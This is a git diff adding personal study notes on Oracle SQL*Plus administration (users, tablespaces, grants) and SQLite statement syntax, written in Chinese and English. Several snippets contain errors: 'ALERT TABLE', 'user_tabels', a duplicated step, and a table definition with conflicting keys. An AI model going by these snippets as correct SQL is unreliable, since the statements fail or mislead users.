int; + +第二部:给key_no更新值 +SQL> UPDATE table_name SET key_no =rownum; + commit; + +第三步:将key_no置为非空 +SQL> ALERT TABLE table_name MODIFY key_no int not null; + + +第四步:查找主键 +SQL> select constraint_name from user_constraints where constraint_type='P' and owner=user and table_name='TB_ZHAOZHENLONG' + +第五步:删除主键 + ALTER TABLE TB_ZHAOZHENLONG DROP CONSTRAINT PK_TB_ZHAOZHENLONG; + +第五步:删除主键 + ALTER TABLE TB_ZHAOZHENLONG DROP CONSTRAINT PK_TB_ZHAOZHENLONG; + +第六步:增加主键 + ALTER TABLE TB_ZHAOZHENLONG ADD (CONSTRAINT PK_TB_ZHAOZHENLONG PRIMARY KEY(c_1,c_2,c_3); +``` + + +``` +SQL> ALERT TABLE table_name ADD CONSTRAIN T1_C1 (PRIMARY KEY(column1, column2...)); + +SQL> ALERT TABLE table_name MODIFY( column1 PRIMARY KEY); +``` diff --git a/_posts/00CodeNote/language/SQL/SQL.0.3.oracle.md b/_posts/00CodeNote/language/SQL/SQL.0.3.oracle.md new file mode 100644 index 00000000000..83094f47cf5 --- /dev/null +++ b/_posts/00CodeNote/language/SQL/SQL.0.3.oracle.md @@ -0,0 +1,283 @@ +# SQL + +[TOC] + +# oracle + +# oracle win + +# 1. Oracle SQL Plus +* SQL Plus is a command-line program to submit SQL and PL/SQL statements to an Oracle database. +* You can submit statements interactively or as SQL`*`Plus scripts. +* SQL`*`Plus is installed with the database and is located in your ORACLE_HOME/bin directory. +* You can start SQL`*`Plus from the command line. + +1. To start SQLPlus, + * C:> `sqlplus /nolog` +2. To connect to the Oracle 12c RDBMS as a DBA, + * SQL> `conn / as sysdba;` +3. To exit SQL*Plus, + * SQL> `exit` + + +## explore some system information +1. To retrieve the current OS host name + * SQL> `SELECT SYS_CONTEXT('USERENV','SERVER_HOST') FROM DUAL;` + * SYS_CONTEXT('USERENV','SERVER_HOST')--------**desktop-53v65bb** +2. To retrieve the current OS user name + * SQL> `SELECT SYS_CONTEXT('USERENV','OS_USER') FROM DUAL;` + * SYS_CONTEXT('USERENV','OS_USER')------**DESKTOP-53V65BB\chris** +3. To retrieve the current Oracle user name + * SQL> `SELECT USER FROM DUAL;` + * USER------**SYS** +5. To retrieve the current Oracle instance name or SID + * SQL> `SELECT SYS_CONTEXT('USERENV','INSTANCE_NAME') FROM DUAL;` + * SYS_CONTEXT('USERENV','INSTANCE_NAME')---**orcl** + * SQL> `SELECT instance FROM V$THREAD;` + * instance---**orcl** +5. To retrieve the current Oracle database name + * SQL> `SELECT SYS_CONTEXT('USERENV','DB_NAME') FROM DUAL;` + * SYS_CONTEXT('USERENV','DB_NAME')---**orcl** + * SQL> `SELECT NAME FROM V$DATABASE;` + * NAME-------**orcl** + * SQL> `SELECT * FROM GLOBAL_NAME;` + * Global_name-------**orcl** +6. To retrieve the current Oracle version + * SQL> `COL PRODUCT FORMAT A40` + * SQL> `COL VERSION FORMAT A15` + * SQL> `COL STATUS FORMAT A15` + * SQL> `SELECT * FROM PRODUCT_COMPONENT_VERSION;` + * PRODUCT VERSION STATUS + * --- + * 表格 + * + + +# 1.first step +## 1.1. connect to oracle + +```sql +C:> sqlplus /nolog /start SQL +SQL> CONN / as sysdba; /connect to the Oracle 12c RDBMS as a DBA + +SQL> CONN shawmoo; /connec as user. + +SQL> EXIT /exit SQL*Plus + +. +``` + +## 1.2 list table info + +**list the table’s structure** + +```sql +SQL> DESC DBA_TABLESPACES; + + Name Null? Type + ----------------------------------------- -------- ---------------------------- + TABLESPACE_NAME NOT NULL VARCHAR2(30) + BLOCK_SIZE NOT NULL NUMBER + INITIAL_EXTENT NUMBER + NEXT_EXTENT NUMBER + MIN_EXTENTS NOT NULL NUMBER + MAX_EXTENTS NUMBER + MAX_SIZE NUMBER + PCT_INCREASE NUMBER + MIN_EXTLEN NUMBER + STATUS VARCHAR2(9) + CONTENTS VARCHAR2(21) + LOGGING VARCHAR2(9) + FORCE_LOGGING VARCHAR2(3) + EXTENT_MANAGEMENT VARCHAR2(10) + ALLOCATION_TYPE VARCHAR2(9) + PLUGGED_IN VARCHAR2(3) + SEGMENT_SPACE_MANAGEMENT VARCHAR2(6) + DEF_TAB_COMPRESSION VARCHAR2(8) + RETENTION VARCHAR2(11) + BIGFILE VARCHAR2(3) + PREDICATE_EVALUATION VARCHAR2(7) + ENCRYPTED VARCHAR2(3) + COMPRESS_FOR VARCHAR2(30) + DEF_INMEMORY VARCHAR2(8) + DEF_INMEMORY_PRIORITY VARCHAR2(8) + DEF_INMEMORY_DISTRIBUTE VARCHAR2(15) + DEF_INMEMORY_COMPRESSION VARCHAR2(17) + DEF_INMEMORY_DUPLICATE VARCHAR2(13) + SHARED VARCHAR2(13) + DEF_INDEX_COMPRESSION VARCHAR2(8) + INDEX_COMPRESS_FOR VARCHAR2(13) + DEF_CELLMEMORY VARCHAR2(14) + DEF_INMEMORY_SERVICE VARCHAR2(12) + DEF_INMEMORY_SERVICE_NAME VARCHAR2(1000) + LOST_WRITE_PROTECT VARCHAR2(7) + CHUNK_TABLESPACE VARCHAR2(1) +``` + + +**list all tablespaces and their status** +```sql +SQL> SELECT Tablespace_Name,Status FROM DBA_TABLESPACES; + +TABLESPACE_NAME STATUS +------------------------------ --------- +SYSTEM ONLINE +SYSAUX ONLINE +UNDOTBS1 ONLINE +TEMP ONLINE +USERS ONLINE +SHAWMOO ONLINE + +``` + +**list these tables’ structures** +```sql +SQL> DESC DBA_DATA_FILES; +SQL> DESC DBA_TEMP_FILES; +``` + +**check free spaces in Tablespaces** +```sql +SQL> DESC DBA_FREE_SPACE; +SQL> DESC DBA_TEMP_FREE_SPACE +``` + +**list all tablespaces and their data files** +```sql +SQL> SELECT File_ID,File_Name,Tablespace_Name,Bytes FROM DBA_DATA_FILES; +SQL> SELECT File_ID,File_Name,Tablespace_Name,Bytes FROM DBA_TEMP_FILES; +``` + +## 1.3. create new tablespace + +```sql +SQL> CREATE TABLESPACE shawmoo DATAFILE 'c:\app\*chris*\virtual\oradata\orcl\shawmoo.dbf' SIZE 2G EXTENT MANAGEMENT LOCAL AUTOALLOCATE; + +Tablespace created. +``` + +## 1.4. create a new user + +```sql +SQL> CREATE USER chris IDENTIFIED by wang DEFAULT TABLESPACE shawmoo TEMPORARY TABLESPACE TEMP; + +SQL> CREATE USER shawmoo IDENTIFIED by wang DEFAULT TABLESPACE shawmoo TEMPORARY TABLESPACE TEMP; +``` + +* If you do not specify default tablespace and temporary tablespace, Oracle will use the current system. +* default *tablespace* and *temporary tablespace* for holding the new account. + +## 1.5. To check the current system default tablespace, +```sql +SQL> `SELECT` * `FROM` DATABASE_PROPERTIES `WHERE` PROPERTY_NAME `LIKE` 'DEFAULT%TABLESPACE'; +``` + +## 1.6. To check what users the system has, access the DBA_USERS table. + +```sql +SQL> `COL` Username `FORMAT` A20 +SQL> `COL` Account_Status `FORMAT` A20 +SQL> `SELECT` Username, Account_Status `FROM` DBA_USERS + `ORDER `BY` Username; +``` + +## 1.7. Grant Privileges (Permissions) to user to login to Oracle RDBMS +```sql +SQL> `GRANT CREATE SESSION to` xwang; + +Grant succeeded. +``` + +/login with xwang/xw123, but you cannot do anything with the account. You must grant other privileges to allow the account to be able to do something. + +```sql +SQL> `conn` shawmoo +Enter password: wang; + +SQL> `conn` as sysdba; + +SQL> GRANT `UNLIMITED TABLESPACE` to shawmoo; +SQL> GRANT `CREATE ANY TABLE` to shawmoo; +SQL> GRANT `ALTER ANY TABLE`, `DROP ANY TABLE` to shawmoo; +SQL> GRANT `INSERT ANY TABLE`, `UPDATE ANY TABLE`, `DELETE ANY TABLE`, `SELECT ANY TABLE` to shawmoo; +``` + +# 2. Creating Tables + +```sql +SQL> CREATE TABLE Department( + DCode NUMBER (8) PRIMARY KEY, + Name VARCHAR (50) NOT NULL, + Phone VARCHAR (16), + Chair NUMBER (8), + PRIMARY KEY (CallNo), + FOREIGN KEY (AAA) REFERENCES tableA(AAA), + FOREIGN KEY (BBB) REFERENCES tableB(BBB) + ); +``` + +# 3. insert info +```sql +SQL> INSERT INTO Department VALUES + ('MATH','Mathematics','703-111-0003', '10003'); + +1 row created. + +SQL> COMMIT; /commit complete. +``` + + +# 4. SQL Script file +## 4.1. Create a SQL Script file +```sql +SQL Script file *uis.sql* + +SQL> conn xwang/xw123; +SQL> @uis.sql; +``` +Now your UIS database with testing data has been created. + + +## 4.2. Save commands and outputs in SQL file + +```sql +SQL> SPOOL D:\filename.txt; +SQL> SELECT * FROM table_name; +SQL> SPOOL OFF +``` + +# 5. look your table +## 5.1. USER_TABLES +```sql +SQL> SELECT table_name, tablespace_name FROM user_tabels; +/user_tabels: 本user下的所有文件 + +TABLE_NAME TABLESPACE_NAME +----------------------------- +FACULTY SHAWMOO +DEPARTMENT SHAWMOO + +``` + +## 5.2 ALL_TABLES +```sql +SQL> SELECT table_name, tablespace_name FROM all_tabels; +/user_tabels: 本user下的所有文件 + +TABLE_NAME TABLESPACE_NAME +----------------------------- +FACULTY SHAWMOO +DEPARTMENT SHAWMOO + +``` + + +## 5.2 TABLE_A +```sql +SQL> SELECT * FROM department; + +DCODE NAME PHONE CHAIR +------------------------------------------------- +CS Computer Science 703-333-3333 10005 + +``` diff --git a/_posts/00CodeNote/language/SQL/SQL.0.4.gram.md b/_posts/00CodeNote/language/SQL/SQL.0.4.gram.md new file mode 100644 index 00000000000..a05a6d27a05 --- /dev/null +++ b/_posts/00CodeNote/language/SQL/SQL.0.4.gram.md @@ -0,0 +1,445 @@ +# SQL + +[TOC] + +# SQLite 语法 +SQLite 是遵循一套独特的称为语法的规则和准则。 +**大小写敏感性**:有SQLite 不区分大小写的,但也有一些命令是大小写敏感的,比如 GLOB 和 glob 在 SQLite 的语句中有不同的含义。 +**注释**: SQLite 注释是附加的注释,可以在 SQLite 代码中添加注释以增加其可读性,他们可以出现在任何空白处,包括在表达式内和其他 SQL 语句的中间,但它们不能嵌套。 + +* 以两个连续的 `-` 字符(ASCII 0x2d)开始,并扩展至下一个换行符(ASCII 0x0a)或直到输入结束,以先到者为准。 +* 也可以使用 C 风格的注释,以 `/*注释*/` 字符对或直到输入结束,以先到者为准。SQLite的注释可以跨越多行。 + +``` +sqlite>.help -- 这是一个简单的注释 +``` + +# SQLite 语句 + +所有的 SQLite 语句可以以任何关键字开始,如 SELECT, INSERT, UPDATE, DELETE, ALTER, DROP 等,所有的语句以分号 `;` 结束。 + + +## ANALYZE 语句:(SQLite) + +```sql +SQL> ANALYZE; +SQL> ANALYZE database_name; +SQL> ANALYZE database_name.table_name; +``` + +## AND/OR 子句:(SQLite, SQL) + +```sql +SQL> SELECT column1, column2....columnN + FROM table_name + WHERE CONDITION-1 AND/OR CONDITION-2; +``` + +## Alter Table 语句:(SQLite) + +```sql +SQL> ALTER TABLE table_name ADD COLUMN column_def; /加新列 +SQL> ALTER TABLE table_name RENAME TO new_table_name; /改表名 +SQL> ALTER TABLE table_name RENAME column 旧的字段名 to 新的字段名; + +``` + + + +## ATTACH DATABASE 语句:(SQLite) +```sql +SQL> ATTACH DATABASE 'DatabaseName' As 'Alias-Name'; +``` + +## BEGIN TRANSACTION 语句:(SQLite) + +```sql +SQL> BEGIN; +SQL> BEGIN EXCLUSIVE TRANSACTION; +``` + +## BETWEEN 子句:(SQLite) +```sql +SQL> SELECT column1, column2....columnN + FROM table_name + WHERE column_name BETWEEN val-1 AND val-2; +``` + +## Column 修改length size:(Oracle) +```sql +SQL> column/col column_name format a30 +SQL> set linesize 300 /这个好,自动调整 +``` + +*a30 - alphanumeric30* + + +## COMMIT 语句:(SQLite) +```sql +SQL> COMMIT; +``` + +## CREATE INDEX 语句:(SQLite) +```sql +SQL> CREATE INDEX index_name + ON table_name ( column_name COLLATE NOCASE ); +``` + +### CREATE UNIQUE INDEX 语句:(SQLite) +```sql +CREATE UNIQUE INDEX index_name +ON table_name ( column1, column2,...columnN); +``` + +### CREATE TABLE 语句 创建表(SQLite) +```sql +SQL> CREATE TABLE table_name( + column1 datatype PRIMARY KEY(one or more columns), + column2 datatype, + column3 datatype, + ..... + columnN datatype PRIMARY KEY( one or more columns ) + ); +``` + +`CREATE TABLE` 语句: + +* 用于在任何给定的数据库创建一个新表。 +* 创建基本表,涉及到命名表、定义列及每一列的数据类型。 +* CREATE TABLE 是告诉数据库系统创建一个新表的关键字。 +* CREATE TABLE 语句后跟着表的唯一的名称或标识。 +* 您也可以选择指定带有 `table_name` 的 `database_name`。 + + +```sql +sqlite> CREATE TABLE COMPANY( + ID INT PRIMARY KEY NOT NULL, + NAME TEXT NOT NULL, + AGE INT NOT NULL, + ADDRESS CHAR(50), + SALARY REAL + ); +//创建一个 COMPANY 表, ID 作为主键, +//NOT NULL 的约束表示在表中创建纪录时这些字段不能为 NULL + +sqlite> CREATE TABLE DEPARTMENT( + ID INT PRIMARY KEY NOT NULL, + DEPT CHAR(50) NOT NULL, + EMP_ID INT NOT NULL + ); +//再创建一个表,我们将在随后章节的练习中使用 + + +sqlite>.tables +COMPANY DEPARTMENT +//这里可以看到我们刚创建的两张表 COMPANY、 DEPARTMENT。 + + +sqlite>.schema COMPANY + CREATE TABLE COMPANY( + ID INT PRIMARY KEY NOT NULL, + NAME TEXT NOT NULL, + AGE INT NOT NULL, + ADDRESS CHAR(50), + SALARY REAL + ); +//使用 SQLite .schema 命令得到表的完整信息 +``` + + + +### CREATE TRIGGER 语句:(SQLite) +```sqlite3 +sqlite> CREATE TRIGGER database_name.trigger_name + BEFORE INSERT ON table_name FOR EACH ROW + BEGIN + stmt1; + stmt2; + ... + END; +``` + + +### CREATE VIEW 语句:(SQLite) +```sqlite3 +sqlite> CREATE VIEW database_name.view_name AS + SELECT statement....; +``` + + +### CREATE VIRTUAL TABLE 语句:(SQLite) +```sqlite3 +sqlite> CREATE VIRTUAL TABLE database_name.table_name USING weblog( access.log ); + +sqlite> CREATE VIRTUAL TABLE database_name.table_name USING fts3( ); +``` + + + +## COMMIT TRANSACTION 语句:(SQLite) +```sql +SQL> COMMIT; +``` + + + +## COUNT 子句:(SQLite) +```sqlite3 +sqlite> SELECT COUNT(column_name) + FROM table_name + WHERE CONDITION; +``` + + + +## DELETE 语句:(SQLite) +```sqlite3 +sqlite> DELETE FROM table_name + WHERE {CONDITION}; +``` + + +## DETACH DATABASE 语句:(SQLite) +```sqlite3 +sqlite> DETACH DATABASE 'Alias-Name'; +``` + + +## DISTINCT 子句:(SQLite) +```sqlite3 +sqlite> SELECT DISTINCT column1, column2....columnN + FROM table_name; +``` + + + + + +## DROP INDEX 语句:(SQLite) +```sqlite3 +sqlite> DROP INDEX database_name.index_name; +``` + + +### DROP TABLE 语句:(SQLite) 删除表 +`DROP TABLE` 语句: +删除表定义及其所有相关数据、索引、触发器、约束和该表的权限规范。 +一旦一个表被删除,表中所有信息也将永远丢失。 + +```sqlite3 +sqlite> DROP TABLE database_name.table_name; +``` + + +### DROP VIEW 语句:(SQLite) +```sqlite3 +sqlite> DROP VIEW view_name; +``` + +### DROP TRIGGER 语句:(SQLite) +```sqlite3 +sqlite> DROP TRIGGER trigger_name +``` + + +## Group By Having 分组 + +```sql +SELECT B.bookid, B.title, SUM(quantity) +FROM book B, orderitem O +WHERE B.bookid=O.bookid +GROUP BY B.bookid, B.title /结果若有他,一定要每个指明合并 +HAVING SUM(quantity)>=6; + + +SELECT C.custid, C.name +FROM customer C, orders O, orderitem I, book B +WHERE C.custid=O.custid AND O.orderid=I.orderid AND I.bookid=B.bookid /多个表用AND +AND B.ISBN= '0087621658'; + + +``` +/现在select列表中的字段,如果没有在组函数中,那么必须出现在group by 子句中。(select中的字段不可以单独出现,必须出现在group语句中或者在组函数中。) + + +## Update 修改表内容(oracle) +```sql +update 表名 set 字段名1='修改后的值', 字段名2='修改后的值' where id=1 +``` + + + +## EXISTS 子句:(SQLite) +```sqlite3 +sqlite> SELECT column1, column2....columnN + FROM table_name + WHERE column_name EXISTS (SELECT * FROM table_name ); +``` + +## EXPLAIN 语句:(SQLite) +```sqlite3 +sqlite> EXPLAIN INSERT statement...; +sqlite> EXPLAIN QUERY PLAN SELECT statement...; +``` + +## INSERT INTO 语句:(SQLite, SQL) +`INSERT INTO` 语句: +用于向数据库的某个表中添加新的数据行。 +如果要为表中的所有列添加值,可以不需要在 SQLite 查询中指定列名称。但要确保值的顺序与列在表中的顺序一致。 + +```sqlite3 +sqlite> INSERT INTO TABLE_NAME [(column1, column2, column3,...columnN)] +sqlite> INSERT INTO TABLE_NAME VALUES (value1, value2, value3,...valueN); +/在这里,column1, column2,...columnN 是要插入数据的表中的列的名称。 +``` + +```sqlite3 +sqlite> CREATE TABLE COMPANY( + ID INT PRIMARY KEY NOT NULL, + NAME TEXT NOT NULL, + AGE INT NOT NULL, + ADDRESS CHAR(50), + SALARY REAL + ); + +sqlite> INSERT INTO COMPANY (ID,NAME,AGE,ADDRESS,SALARY) +VALUES (1, 'Paul', 32, 'California', 20000.00 ); + +or + +sqlite> INSERT INTO COMPANY VALUES (7, 'James', 24, 'Houston', 10000.00 ); +``` + +``` +//使用一个表来填充另一个表 +//可以通过在一个有一组字段的表上使用 select 语句,填充数据到另一个表中。 + +INSERT INTO first_table_name [(column1, column2, ... columnN)] + SELECT column1, column2, ...columnN + FROM second_table_name + [WHERE condition]; +``` + + + +## PRAGMA 语句:(SQLite) +**PRAGMA pragma_name;** +For example: + +```sqlite3 +sqlite> PRAGMA page_size; +sqlite> PRAGMA cache_size = 1024; +sqlite> PRAGMA table_info(table_name); +``` + + + + +## RELEASE SAVEPOINT 语句:(SQLite) +```sqlite3 +sqlite> RELEASE savepoint_name; +``` + + + +## REINDEX 语句:(SQLite) +```sqlite3 +sqlite> REINDEX collation_name; +sqlite> REINDEX database_name.index_name; +sqlite> REINDEX database_name.table_name; +``` + + + + +## ROLLBACK 语句:(SQLite) +```sqlite3 +sqlite> ROLLBACK; +sqlite> ROLLBACK TO SAVEPOINT savepoint_name; +``` + +## SAVEPOINT 语句:(SQLite) +```sqlite3 +sqlite> SAVEPOINT savepoint_name; +``` + +## SELECT 语句:(SQLite, SQL) +`SELECT` 语句: +用于从 SQLite 数据库表中获取数据,以结果表的形式返回数据。 +这些结果表也被称为结果集。 + +1. choose info +```sql +sqlite>.header on +sqlite>.mode column +/前三个命令被用来设置正确格式化的输出。 + +SQL> SELECT column1, column2... FROM table_name; + +SQL> SELECT * FROM table_name; /获取所有可用的字段 + + +SQL> SELECT + MM.DEPT_ID + FROM MES_MACHINE MM, MT_OVERHAUL_RECORD MR + WHERE + MR.MACHINE_ID = MM.MACHINE_ID; + +``` + +2. choose specific info +```sql +SQL> SELECT column1,2 FROM table_name; /只获取指定的字段 +``` + +## .width num, num.... 设置输出列的宽度 (SQLite) +使用 .width num, num.... 命令设置显示列的宽度,如下所示: + +```sqlite3 +sqlite>.width 10, 20, 10 +/第一列的宽度为 10,第二列的宽度为 20,第三列的宽度为 10 + +sqlite> SELECT * FROM COMPANY; + +ID NAME AGE ADDRESS SALARY +---------- -------------------- ---------- ---------- ---------- +1 Paul 32 California 20000.0 +2 Allen 25 Texas 15000.0 +3 Teddy 23 Norway 20000.0 +4 Mark 25 Rich-Mond 65000.0 +5 David 27 Texas 85000.0 +6 Kim 22 South-Hall 45000.0 +7 James 24 Houston 10000.0 +``` + +## Schema 信息(SQLite) +因为所有的点命令只在 SQLite 提示符中可用,所以当您进行带有 SQLite 的编程时,您要使用下面的带有 sqlite_master 表的 SELECT 语句来列出所有在数据库中创建的表: + +sqlite> `SELECT` **tbl_name** `FROM` **sqlite_master** `WHERE type =` **'table'**; + + +```sqlite3 +//使用下面的带有 sqlite_master 表的 SELECT 语句来列出所有在数据库中创建的表: +sqlite> SELECT tbl_name FROM sqlite_master WHERE type = 'table'; + +//假设在 testDB.db 中已经存在唯一的 COMPANY 表 +tbl_name +---------- +COMPANY + + +sqlite> SELECT sql FROM sqlite_master + WHERE type = 'table' AND tbl_name = 'COMPANY'; +/列出关于 COMPANY 表的完整信息 + +//假设在 testDB.db 中已经存在唯一的 COMPANY 表,则将产生以下结果: +CREATE TABLE COMPANY( + ID INT PRIMARY KEY NOT NULL, + NAME TEXT NOT NULL, + AGE INT NOT NULL, + ADDRESS CHAR(50), + SALARY REAL +) +``` + +#### SQL UNION 和 UNION ALL 操作符(SQLite) diff --git "a/_posts/00CodeNote/language/SQL/SQL.\346\225\260\345\200\274\347\261\273\345\236\213.md" "b/_posts/00CodeNote/language/SQL/SQL.\346\225\260\345\200\274\347\261\273\345\236\213.md" new file mode 100644 index 00000000000..db0c29afdbc --- /dev/null +++ "b/_posts/00CodeNote/language/SQL/SQL.\346\225\260\345\200\274\347\261\273\345\236\213.md" @@ -0,0 +1,16 @@ +# SQL + +[toc] + +# Number + +可以通过如下格式来指定: + +COLUMN_NAME number(precision ,scale) + +* precision:可以存储的最大数字长度(不包括左右两边的0) +* scale:在小数点右边的最大数字长度(包括左侧0)。 + +如果我们指定了p和s,可以按照如下算法来判读数据是否有效:如果s>=0,首先我们从小数点从左向右数s个数字,如果在此之右,仍然有数据,则将其截断,然后我们在当前位置再向左侧数p个数字,如果在此之左仍有非零数字,则数字不合法,否则数据合法;如果s<0,首先我们从小数点从右向做数|s|个数字,并截断其右侧数据,然后我们在当前位置再向左侧数p个数字,如果在此之左仍有非零数字,则数字不合法,否则数据合法。 + +如果我们没有指定phes如:column_name number,则数字按照输入格式存储;如果我们指定了p,但是没有指定s,则s默认为0,如column_name number(p);如果我们指定了s但是没有指定p,则p默认为38,如column_name number(*,s)。 diff --git a/_posts/00CodeNote/language/SQL/SQLite.0.0.md b/_posts/00CodeNote/language/SQL/SQLite.0.0.md new file mode 100644 index 00000000000..e62743117c5 --- /dev/null +++ b/_posts/00CodeNote/language/SQL/SQLite.0.0.md @@ -0,0 +1,1912 @@ + +# SQLite + +[toc] + +--- + +## SQLite Mac使用 +$ sqlite3 +SQLite version 3.19.3 2017-06-27 16:48:08 +Enter ".help" for usage hints. +Connected to a transient in-memory database. +Use ".open FILENAME" to reopen on a persistent database. + +### Mac终端创建sqlite表 +* 打开terminal. +* 想在文档下的sqlite文件夹下创建数据库,我们需要先装载该目录。 + * 首先进入到你要创建数据库的位置, 或者你现有数据库所在的位置. + * 输入:cd 将文件夹地址拖到终端  然后enter + * `cd` **/Users/wer/Documents**
 +* 创建一个文件夹(存放数据库) + * `mkdir`  **testSqlist(文件夹名)** +* 创建数据库 + * 使用sqlite3 + 数据库名 可以打开数据库,我们同样也可以用该方法创建数据库 + * 例如,我们想创建名为test的数据库,需执行如下命令 + * `sqlite3` **test.db** or **test.sqlite3** + * 需要注意,此时在sqlite文件夹下还没有我们创建的数据库文件。 +* 创建表 + * 此时,实际上我们已经打开了test数据库, + * 我们执行 `create table` teacher (name text) ; 为数据库添加一张表, + * 再看sqlite文件夹,我们便会找到刚刚创建的数据库文 + +* 创建类别 +luo$ +`create table` table_name ( +id `integer` `primary key` `not null` `default '0'`, +name `varchar`(20), +age `integer` `not null default '10'` +sex `VARCHAR`(4) , +birth `YEAR`, +department `VARCHAR`(20) , +address `VARCHAR`(50) +); + +* 数据类型 +**varchar()**:字符(需要“”)大小写敏感 +**integer**:数字 +**year**:年份 +**datetime**:日期 + +* 数据属性 +**NOT NULL** 约束强制字段始终包含值。这意味着,如果不向字段添加值,就无法插入新记录或者更新记录。 + + +* 输入数据 + +sqlite>`insert into` table (id, name, age, sex, birth, department, address) `values` (901,'B.I','M','1990','write song','korea'); + +**integer**:数字 +**year**:年份(需要“”) +**varchar**:字符(需要“”)大小写敏感 + +* 此时我们的数据库已经创建完毕. + +
* 输入:sqlite3 upload.sqlite3   + * 如果存在文件名为“upload.sqlite3”的文件,这个操作就是打开“upload.sqlite3”文件。 + * 如果不存在“upload.sqlite3”文件,系统就会去创建它。 + * 然后输入:“;”(对,就是输入分号) 然后enter +
 +
 +### 输入:   ".quit"可以退出sqlite +ctrl+d +### 输入:   “.help”可以查看更多命令 +
 +### 常用命令 + +## SQLite 简介 +### SQLite 局限性 +在 SQLite 中,SQL92 不支持的特性如下所示: + +| 特性 | 描述 | +| -------------------- | ---------------------------------------------------------------------------------------------------------------- | +| **RIGHT OUTER JOIN** | 只实现了 LEFT OUTER JOIN。 | +| **FULL OUTER JOIN** | 只实现了 LEFT OUTER JOIN。 | +| **ALTER TABLE** | 支持 RENAME TABLE 和 ALTER TABLE 的 ADD COLUMN variants 命令,不支持 DROP COLUMN、ALTER COLUMN、ADD CONSTRAINT。 | +| **Trigger 支持** | 支持 FOR EACH ROW 触发器,但不支持 FOR EACH STATEMENT 触发器。 | +| **VIEWs** | 在 SQLite 中,视图是只读的。您不可以在视图上执行 DELETE、INSERT 或 UPDATE 语句。 | +| **GRANT 和 REVOKE** | 可以应用的唯一的访问权限是底层操作系统的正常文件访问权限。 | + +#### SQLite 命令 +与关系数据库进行交互的标准 SQLite 命令类似于 SQL。命令包括 CREATE、SELECT、INSERT、UPDATE、DELETE 和 DROP。这些命令基于它们的操作性质可分为以下几种: + +* data query language **DQL** - 数据查询语言 +* data manipulation language **DML** - 数据操作语言 (change data) +* data definition language **DDL** - 数据定义语言 (change table column) +* transactional control language **TCL** 事务控制语言 +* data control language **DCL** 事务控制语言 + + +### data definition language DDL - 数据定义语言 +| 命令 | 描述 | +| ---------- | ------------------------------------------------------ | +| **CREATE** | 创建一个新的表,一个表的视图,或者数据库中的其他对象。 | +| **ALTER** | 修改数据库中的某个已有的数据库对象,比如一个表。 | +| **DROP** | 删除整个表,或者表的视图,或者数据库中的其他对象。 | + +1.修改表名称 `ALTER TABLE` 旧表名 `RENAME TO` 新表名 +2.添加字段 `ALTER TABLE` 表名 `ADD COLUMN` 列名 数据类型 +3.查询表结构 `PRAGMA TABLE(表名)_INFO` + +* 添加字段: + * `alter table` 表名 + * `Add column` 字段2 int not null default 0 `AFTER` 字段1 (在字段1后面添加) +* 调整字段顺序: + * `alter table` 表名 `CHANGE` 字段2 int not null default 0 `AFTER` 字段1 + + + + +### data manipulation language DML - 数据操作语言 +| 命令 | 描述 | +| ---------- | -------------- | +| **INSERT** | 创建一条记录。 | +| **UPDATE** | 修改记录。 | +| **DELETE** | 删除记录。 | + +### data query language DQL - 数据查询语言 !! +| 命令 | 描述 | +| ---------- | ------------------------------ | +| **SELECT** | 从一个或多个表中检索某些记录。 | + +#### select 后面几种不同显示column的方法: + +``` +sqlite>select * from table +//查询表的全部column,所有记录 +or +sqlite>select * from table limit 1,3; +//查询表的第2条到4条记录. start from 0 +or +sqlite>select column_A, column_B, column_C from table +//从表查询显示所有指定的column_ABC的信息 +``` + +#### 细化column里要显示的信息 +**in** ("A", "B"); +**between** "A" and "B"; +**=** "A" or/and column = "B"; + +``` +sqlite>select * from table + ...>where column in ("A", "B"); + ...>where column between "A" and "B"; + ...>where column = "A" or/and column = "B"; +//从表中查询大类里column为AB的记录 +//"字符需引号",数字不需要引号 +or +sqlite>SELECT id, 2013-birth AS age FROM table + ...>WHERE 2013-birth>=18 AND 2013-birth<=22; + ...>WHERE 2013-birth BETWEEN 18 AND 22; +//从表中查询符合某一数字区域的信息 + +``` + +#### 改变column里要显示的信息 + +``` +sqlite>select 2018-birth as id, 'secret' as id from table +//改变数据 +//将数据简单数学,直接显示计算结果, +//或将原数据替换成其他数据 +``` + +#### 分类显示column里要的信息 **group by** + +``` +sqlite>select count(column_A) from table; +//从表中查询column_A里有几个信息 + +sqlite>select column_A from table group by column_A; +//从表中按照column_A种类,列出每种column_A +or +sqlite>select column_A, count(column_B) from table group by column_A; +//按照column_A分类, +//从表中查询每个column_A有多少column_B, +//通常查询column里有的人数count(ID)。 +``` + +#### 做计算 **count(),max(),sum(),avg()** + +``` +sqlite> select column_A, count(column_B) from table group by column_A; +//按照column_A分类, +//从表中查询每个column_A有多少column_B, +//通常查询column里有的人数count(ID)。 +or +sqlite> select column_A, max(column_B) from table group by column_A; +//按照column_A分类, +//各个column_A分类中,查询column_B最高分. +or +sqlite> select name, SUM(grade) FROM score + ...> group by name; +//按照column_A分类, +//各个column_A分类中,查询column_B总和. +//要用group by或者where针对到个体 +//例子:计算每个学生的总成绩 select id,name,SUM(grade) FROM student +or +sqlite> select name, avg(grade) FROM score + ...> group by name; + +``` +#### sql语句中 **any** 和 **all** 的用法 +这两个都是用于子查询的 + +any 是任意一个 +all 是所有 + +any表示有任何一个满足就返回true,all表示全部都满足才返回true +**感觉这句很清楚 + +比如 +select * from student where 班级=’01’ and age > all (select age from student where 班级=’02’); +就是说,查询出01班中,年龄大于 02班所有人的同学 +相当于 +select * from student where 班级=’01’ and age > (select max(age) from student where 班级=’02’); + +而 +select * from student where 班级=’01’ and age > any (select age from student where 班级=’02’); +就是说,查询出01班中,年龄大于 02班任意一个 的 同学 +相当于 +select * from student where 班级=’01’ and age > (select min(age) from student where 班级=’02’); + +#### 一个表内相互对比: +`SELECT` A.* `FROM` SCORE **A** +`WHERE` DEGREE<(`SELECT` `AVG`(DEGREE) `FROM` SCORE **B** `WHERE` A.CNO=B.CNO); + + +#### 两个表之间有联系: +`SELECT` A.xx B.xx +`FROM` tableA `AS A` `JOIN` tableB `AS B` `ON` A.id=B.id; +or +`SELECT` A.xx B.xx C.xx +`FROM` tableA A `JOIN`(tableB B, tableC C) +`ON` A.SNO=C.SNO `AND` B.CNO =C.CNO; +or +`SELECT` A.sno,A.cno,B.rank `from` SCORE A, grade B +`WHERE` A.degree `BETWEEN` B.low `and` B.upp `ORDER BY` RANK; + +``` +sqlite> SELECT c_name, grade FROM score + ...> WHERE stu_id = "901" or "902" + or + ...> WHERE stu_id = (SELECT id FROM student WHERE name='Bobby') + ...> or stu_id=(select id from student where name ='B.I'); +//从score表中查询信息,中间调用student表里的数据 +or +select * from student, score where 